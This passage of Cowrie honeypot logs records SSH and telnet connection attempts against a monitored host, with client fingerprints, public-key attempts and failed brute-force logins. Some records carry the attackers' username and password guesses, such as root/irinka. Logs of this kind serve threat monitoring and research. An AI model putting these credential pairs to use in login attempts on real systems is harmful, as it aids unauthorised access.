{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49230,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5b3fc5325e5","protocol":"telnet","message":"New connection: 192.119.13.58:49230 (10.17.0.5:23) [session: a5b3fc5325e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:12.140773Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Andisheh@321","message":"login attempt [root/Andisheh@321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:12.887535Z","src_ip":"41.242.115.83","session":"31e536967455","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:14.082177Z","src_ip":"41.242.115.83","session":"31e536967455","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.4.14.170","src_port":51312,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b05efc36248","protocol":"ssh","message":"New connection: 91.4.14.170:51312 (10.17.0.5:22) [session: 2b05efc36248]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:15.790702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:15.797396Z","src_ip":"91.4.14.170","session":"2b05efc36248","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:15.908774Z","src_ip":"91.4.14.170","session":"2b05efc36248","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomas","password":"tomas","message":"login attempt [tomas/tomas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:16.393599Z","src_ip":"91.4.14.170","session":"2b05efc36248","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:17.535022Z","src_ip":"91.4.14.170","session":"2b05efc36248","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":42382,"dst_ip":"10.17.0.5","dst_port":22,"session":"231316d27910","protocol":"ssh","message":"New connection: 193.228.128.84:42382 (10.17.0.5:22) [session: 231316d27910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:19.235151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:19.240445Z","src_ip":"193.228.128.84","session":"231316d27910","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:19.346535Z","src_ip":"193.228.128.84","session":"231316d27910","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"irinka","message":"login attempt [root/irinka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:19.653809Z","src_ip":"193.228.128.84","session":"231316d27910","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:20.759319Z","src_ip":"193.228.128.84","session":"231316d27910","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.45.12.16","src_port":42334,"dst_ip":"10.17.0.5","dst_port":22,"session":"fab5ab4b14b2","protocol":"ssh","message":"New connection: 89.45.12.16:42334 (10.17.0.5:22) [session: fab5ab4b14b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:24.303628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:24.308379Z","src_ip":"89.45.12.16","session":"fab5ab4b14b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:24.438398Z","src_ip":"89.45.12.16","session":"fab5ab4b14b2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"68:d5:32:c1:11:9a:4d:57:96:4d:1f:56:11:2b:18:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDrf4xK/EgFr4xaZt1M1bPrNu3ZQT2Bezz6Ovi6vgF6CiJxDRrSq9SbTmCyUd/SP2M1vTfpaacXPr8Q2Ciei5iZp3eSMLYd61OKlVxH+MEFIOp/Q5aytTTm/LFEwXF+0l2ArOmyWea+hY6vvCtzL0tY0mFmC88DflEV9mplXwylz64jPEheuNjKOSVLn5HkkNs84V+vNVqMQtxjvjRFJN1ZtYBpSnjpZ1Y3wHWcjYRgzIQCdmw5U0NDfhkWpeMzrqEQSj0kZyPT+YIU2rQy3l0TbARZLSZpWmssDfe0tCMczCbrApGBR7O+9sFXmyShOqAGrrIALhkWFNG4i6PLYz+L","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 68:d5:32:c1:11:9a:4d:57:96:4d:1f:56:11:2b:18:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:25.040812Z","src_ip":"89.45.12.16","session":"fab5ab4b14b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"68:d5:32:c1:11:9a:4d:57:96:4d:1f:56:11:2b:18:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDrf4xK/EgFr4xaZt1M1bPrNu3ZQT2Bezz6Ovi6vgF6CiJxDRrSq9SbTmCyUd/SP2M1vTfpaacXPr8Q2Ciei5iZp3eSMLYd61OKlVxH+MEFIOp/Q5aytTTm/LFEwXF+0l2ArOmyWea+hY6vvCtzL0tY0mFmC88DflEV9mplXwylz64jPEheuNjKOSVLn5HkkNs84V+vNVqMQtxjvjRFJN1ZtYBpSnjpZ1Y3wHWcjYRgzIQCdmw5U0NDfhkWpeMzrqEQSj0kZyPT+YIU2rQy3l0TbARZLSZpWmssDfe0tCMczCbrApGBR7O+9sFXmyShOqAGrrIALhkWFNG4i6PLYz+L","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:25.047304Z","src_ip":"89.45.12.16","session":"fab5ab4b14b2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:5e:21:9a:47:86:8c:96:23:c8:89:f7:9e:0a:2c:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwsrTI09JqIetJMhlyp1k2Bmd+LNNlFALWVD++v7q9P6J1Rfs/clECkimfyWGoKXjZuX0L5emB5cgxyDV23ap5sRXW/ykfMfL7ALGJO9tvt6RYCsXsgr51Kd3GnvyOnP2+7oNVBjC5K/O09mW2y4K1sYwRwgVe7nr3I3TgaVPLmh6Ovv0ecc4Ma8RR/taktlMLHLURRhmM05CH2RfrkO33dhb5O6wndFdBAaRnmAd0qVVoAiPm2Q26K4lO4r8RF8kCK3JvbXaeBCkB/OBFFEunr3dJLz4Z+5xvByZEi0JMUrhAy2ti42zNYoW+cNRIULPqHHb6h79zk//bV/upeMgn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6b:5e:21:9a:47:86:8c:96:23:c8:89:f7:9e:0a:2c:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:25.173958Z","src_ip":"89.45.12.16","session":"fab5ab4b14b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:5e:21:9a:47:86:8c:96:23:c8:89:f7:9e:0a:2c:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwsrTI09JqIetJMhlyp1k2Bmd+LNNlFALWVD++v7q9P6J1Rfs/clECkimfyWGoKXjZuX0L5emB5cgxyDV23ap5sRXW/ykfMfL7ALGJO9tvt6RYCsXsgr51Kd3GnvyOnP2+7oNVBjC5K/O09mW2y4K1sYwRwgVe7nr3I3TgaVPLmh6Ovv0ecc4Ma8RR/taktlMLHLURRhmM05CH2RfrkO33dhb5O6wndFdBAaRnmAd0qVVoAiPm2Q26K4lO4r8RF8kCK3JvbXaeBCkB/OBFFEunr3dJLz4Z+5xvByZEi0JMUrhAy2ti42zNYoW+cNRIULPqHHb6h79zk//bV/upeMgn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:25.180985Z","src_ip":"89.45.12.16","session":"fab5ab4b14b2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8a:3d:22:5a:56:d7:83:bf:46:06:0a:a0:70:98:2b:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtEw8i61FSAs0gw7Zmsr4MxeMMH+dfqQEAVc9qb2sxMpeSKMYqhGTYb04IT4RZZZ3N+tGyOEjsryA+ruQgzJm7fZ4bUahD5Nd9ag5xvsyCnyGUJhke/lLaclhQvvH+FN7V/R7+hMfK74wZDWcWzgEl/6/wtubAjmVtoWOCHJtAsh6jK9T1gMJd96HA0iaXg9ncNVWDYXWErnAj/FL4tujRiZg1MUfmPfK6fDYzzmC9jJHh2WzTBB0dZ6hbeLoeWAFS/bbW68mmT6bwd0p65dH5WaFlK+Q2GPD7WWTavRepGg9qxvMVmorYIOq//E8tXR80LXc0eGfwznkkkfg+Oz7Fw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8a:3d:22:5a:56:d7:83:bf:46:06:0a:a0:70:98:2b:1f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:25.313374Z","src_ip":"89.45.12.16","session":"fab5ab4b14b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8a:3d:22:5a:56:d7:83:bf:46:06:0a:a0:70:98:2b:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtEw8i61FSAs0gw7Zmsr4MxeMMH+dfqQEAVc9qb2sxMpeSKMYqhGTYb04IT4RZZZ3N+tGyOEjsryA+ruQgzJm7fZ4bUahD5Nd9ag5xvsyCnyGUJhke/lLaclhQvvH+FN7V/R7+hMfK74wZDWcWzgEl/6/wtubAjmVtoWOCHJtAsh6jK9T1gMJd96HA0iaXg9ncNVWDYXWErnAj/FL4tujRiZg1MUfmPfK6fDYzzmC9jJHh2WzTBB0dZ6hbeLoeWAFS/bbW68mmT6bwd0p65dH5WaFlK+Q2GPD7WWTavRepGg9qxvMVmorYIOq//E8tXR80LXc0eGfwznkkkfg+Oz7Fw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:25.318233Z","src_ip":"89.45.12.16","session":"fab5ab4b14b2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:53:3c:2f:ef:af:4e:d9:4e:9b:53:36:e1:65:d4:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPQzGIBC2Eguu+mYpt7NltGZvNoqKQUGPmw4sq1jF4BTzHfLOzk10HbZPv5pqWV/TNPe2nFJ9XRoGsDSdDn2fvG0g1WJpthzO6I9BvYCxFu2QQiA+4bEus6a5I3nU/X3TMQuc3Znq8+UDNE2gX9SEUcw9aL4/Ej0XZy+Aa5nK+cw93w/K9jrpyBmB/ifLtnkEYikA3ctvx6gugOWfTvUUU7mFm3FMAJl2Qbb8w6BiYJsgEu9gl8q/37Ga/fmeIEI2bFq91gSjJOBa8DwvIJTBToLQLfjOmpLr+mFWVNBnOAdXIPd4LGUIxAZtNftnedcHNIvFkPurCAVWaxVnUMj1x","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 05:53:3c:2f:ef:af:4e:d9:4e:9b:53:36:e1:65:d4:98","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:25.446473Z","src_ip":"89.45.12.16","session":"fab5ab4b14b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:53:3c:2f:ef:af:4e:d9:4e:9b:53:36:e1:65:d4:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPQzGIBC2Eguu+mYpt7NltGZvNoqKQUGPmw4sq1jF4BTzHfLOzk10HbZPv5pqWV/TNPe2nFJ9XRoGsDSdDn2fvG0g1WJpthzO6I9BvYCxFu2QQiA+4bEus6a5I3nU/X3TMQuc3Znq8+UDNE2gX9SEUcw9aL4/Ej0XZy+Aa5nK+cw93w/K9jrpyBmB/ifLtnkEYikA3ctvx6gugOWfTvUUU7mFm3FMAJl2Qbb8w6BiYJsgEu9gl8q/37Ga/fmeIEI2bFq91gSjJOBa8DwvIJTBToLQLfjOmpLr+mFWVNBnOAdXIPd4LGUIxAZtNftnedcHNIvFkPurCAVWaxVnUMj1x","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:25.450626Z","src_ip":"89.45.12.16","session":"fab5ab4b14b2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:73:39:20:e7:55:1d:aa:37:2a:5f:8e:a4:d6:0a:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCy3VX/hmBN2YA2KqvQ6epWtRECVZsbVyx4dCOrtnYG2+Wh1pZFglFy8p+iRSUr4aYvPIXfAaKNObLRkv+aAQVY5ObV2uj0SmqCFAusWPSb304lr1j0b8o1npmSw0t4xIfEpgnP4KV1xCElm5XTLfjvML0kWFbAngoQ/SauBzxKMcgB7z7SDCRrkAAaCWb0Mn/AjiW7m+ISaPR0GZrh9gT/yv6q+LJHJ5tBRvJREUZeau8bBiXF/LBrWF2I6CrVkbs6qOteOpY3Ca0/NFwQiIKNgqQWUwVni3xKaCX2vSyCymTEmG+hNy5znXG6210nd9de8SQOtHWOcd75geVvrI7B","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ce:73:39:20:e7:55:1d:aa:37:2a:5f:8e:a4:d6:0a:7b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:25.577779Z","src_ip":"89.45.12.16","session":"fab5ab4b14b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:73:39:20:e7:55:1d:aa:37:2a:5f:8e:a4:d6:0a:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCy3VX/hmBN2YA2KqvQ6epWtRECVZsbVyx4dCOrtnYG2+Wh1pZFglFy8p+iRSUr4aYvPIXfAaKNObLRkv+aAQVY5ObV2uj0SmqCFAusWPSb304lr1j0b8o1npmSw0t4xIfEpgnP4KV1xCElm5XTLfjvML0kWFbAngoQ/SauBzxKMcgB7z7SDCRrkAAaCWb0Mn/AjiW7m+ISaPR0GZrh9gT/yv6q+LJHJ5tBRvJREUZeau8bBiXF/LBrWF2I6CrVkbs6qOteOpY3Ca0/NFwQiIKNgqQWUwVni3xKaCX2vSyCymTEmG+hNy5znXG6210nd9de8SQOtHWOcd75geVvrI7B","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:25.582737Z","src_ip":"89.45.12.16","session":"fab5ab4b14b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:25.710397Z","src_ip":"89.45.12.16","session":"fab5ab4b14b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:41.481050Z","src_ip":"36.26.82.246","session":"7088d6a185dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.157509326934814,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:42.143656Z","src_ip":"192.119.13.58","session":"a3cbdcd723b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.02613615989685,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:42.214742Z","src_ip":"192.119.13.58","session":"2a2bcb89db16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.63752055168152,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:42.875094Z","src_ip":"192.119.13.58","session":"67af42bfa809","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60938,"dst_ip":"10.17.0.5","dst_port":23,"session":"033b10e8bc41","protocol":"telnet","message":"New connection: 192.119.13.58:60938 (10.17.0.5:23) [session: 033b10e8bc41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:45.258279Z"}
{"eventid":"cowrie.session.closed","duration":36.18011116981506,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:48.320752Z","src_ip":"192.119.13.58","session":"a5b3fc5325e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45204,"dst_ip":"10.17.0.5","dst_port":23,"session":"600754e47ce8","protocol":"telnet","message":"New connection: 192.119.13.58:45204 (10.17.0.5:23) [session: 600754e47ce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:49.255106Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57830,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb3a8fd1312a","protocol":"telnet","message":"New connection: 192.119.13.58:57830 (10.17.0.5:23) [session: eb3a8fd1312a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:53.308221Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58172,"dst_ip":"10.17.0.5","dst_port":23,"session":"1be1577c4202","protocol":"telnet","message":"New connection: 192.119.13.58:58172 (10.17.0.5:23) [session: 1be1577c4202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:53.440603Z"}
{"eventid":"cowrie.session.closed","duration":2.6470158100128174,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:55.955087Z","src_ip":"192.119.13.58","session":"eb3a8fd1312a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.97.164","src_port":49096,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a3453bfb27b","protocol":"ssh","message":"New connection: 43.156.97.164:49096 (159.203.135.109:22) [session: 0a3453bfb27b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:56.563374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:56.569063Z","src_ip":"43.156.97.164","session":"0a3453bfb27b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","h